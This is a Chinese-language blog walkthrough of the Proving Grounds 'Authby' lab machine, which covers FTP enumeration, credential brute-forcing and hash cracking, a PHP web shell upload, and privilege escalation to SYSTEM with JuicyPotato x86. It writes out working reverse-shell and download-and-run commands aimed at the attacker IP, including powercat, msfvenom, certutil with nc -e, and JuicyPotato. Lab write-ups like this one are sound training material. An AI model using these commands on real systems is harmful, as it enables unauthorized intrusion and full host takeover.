Proving Grounds Practice : Authby Walkthrough

 Proving Grounds Practice : Authby Walkthrough

Foothole (立足點 ) :

  • FTP 匿名登入發現使用者帳號
  • 用獲取的使用者帳號與密碼(跟帳號一樣)測試可以登入與上傳檔案
  • 上傳檔案後透過 IIS 確認路徑與執行後門利用(Web Shell or Reverse Shell)
  • 拿到 Reverse Shell 成功登入

PE ( 提權 ) :

  • Whoami /priv 發現 SeImpersonatePrivilege 基本提權
  • 使用 x86 版本的 JuicyPotato 提權

注意事項 :

  • Windows x86 系統使用的 nc 與 JuicyPotato 都不一樣,尤其是 JuicyPotato 指令要知道如何使用 
  • FTP 匿名登入後有看到其他帳號記得也要試試看登入,尤其是帳號與密碼一致更是要試試看


Kali IP : 192.168.45.187

靶機 IP : 192.168.244.46


第一步掃 Port,└─$ rustscan -a 192.168.244.46 --scripts none  --ulimit 5000 | tee rustscan


snmp filtered 沒戲

nmap
21 FTP 可以 Anonymous 匿名登入
242 Apache HTTP
3145 zFTPServer admin

FTP 匿名登入列舉到帳號 admin、offsec

hydra 測試 FTP 可否登入,查到 admin:admin

admin:admin 登入 FTP 看來是個 Web Server 根目錄且使用 php 語法做的網站

測試上傳 test.txt 發現可以寫入

將三個檔案抓回來

Index.php 內容看來是拉丁文,翻譯後看來沒用



 

.htaccess 給了一個路徑 AuthUserFile c:\\wamp\www\.htpasswd

看來是個 Windows 的 wamp 套件三合一



 

.htpasswd 獲得一組帳號密碼,看來像鹽+密碼

offsec:$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0


用 john 破解看看得到一組新的驗證 offsec:elite


測試 offsec:elite FTP 登入試試看,失敗無法登入



242 /,發現需要帳號密碼驗證


admin:admin 無法登入

offsec:elite 登入成功

內容就是剛剛 FTP 中的 index.php 內容


馬上看看剛剛上傳的 test.txt 看看能否存取,發現可以正常開啟


廢話不多說 FTP 馬上上傳 webshell.php,線上檔案連結 :

https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php


開啟後標準作業,這是一台 Windows 所以 command 要用 powershell 去執行,使用標準的 powershell 建立 reverse shell 成功進來了,指令 powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.187/powercat.ps1'); powercat -c 192.168.45.187 -p 4444 -e powershell"



執行後告知 powershell 不認識



直接改成建立 PHP payload,參考 MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter) | Infinite Logins



└─$ msfvenom -p php/reverse_php LHOST=192.168.45.187 LPORT=4444 -f raw > rshell.php


FTP 上傳 rshell.php

執行後 4444 nc listen 進來了,但是是個很怪的 shell


上傳 nc64.exe,發現 powershell 不可用所以不能用 iwr,改用 certutil 下載檔案

建立 nc64.exe 連線時發現這是一台 x86 機器所以不能跑 64 位元的程式

powershell

certutil -urlcache -f http://192.168.45.187/nc64.exe C:\users\public\nc64.exe

c:\users\public\nc64.exe 192.168.45.187 4444 -e c:\windows\system32\cmd.exe


改成下載 32 位元的 nc.exe,線上下載路徑 https://github.com/int0x33/nc.exe/blob/master/nc.exe

certutil -urlcache -f http://192.168.45.187/nc.exe C:\users\public\nc.exe

c:\users\public\nc.exe 192.168.45.187 4445 -e c:\windows\system32\cmd.exe



4445 進來了,這個正常多了,馬上再建立一個 session 回 4444



開始 PE, whoami /priv,馬上發現 SeImpersonatePrivilege Enabled


這是一台 x86 的機器所以上傳 x86 版本的 JuicyPotato 套件

https://github.com/ivanitlearning/Juicy-Potato-x86/releases



JuicyPotatox86.exe 使用方式,這是 RDP 進去後執行起另一個 cmd

但我們沒有 RDP,所以起 cmd.exe 時要去執行 nc 建一個 reverse shell 回來

Usage : "Juicy Potato x86.exe" -l 4444 -p c:\windows\system32\cmd.exe -t * -c {6d18ad12-bde3-4393-b311-099c346e6df9}

參考 https://github.com/ivanitlearning/Juicy-Potato-x86?tab=readme-ov-file#example-usage



systeminfo 確認一下這一台作業系統是 Microsoftr Windows Serverr 2008 Standard


查一下這個作業系統的 CLSID,參考 : juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise at master · ohpe/juicy-potato · GitHub

直接使用第一個試試看 {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}





執行指令 c:\Users\Public\JuicyPotatox86.exe -l 4444 -p c:\windows\system32\cmd.exe -a "/c c:\Users\Public\nc.exe -e cmd.exe 192.168.45.187 4446" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}





4446 Port Listen 進來了,whoami 確認是管理者 "nt authority\system",結束這回合




補充說明 : 另一個查詢 CLSID 好用的網站 Windows CLSID | juicy-potato (ohpe.it)



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)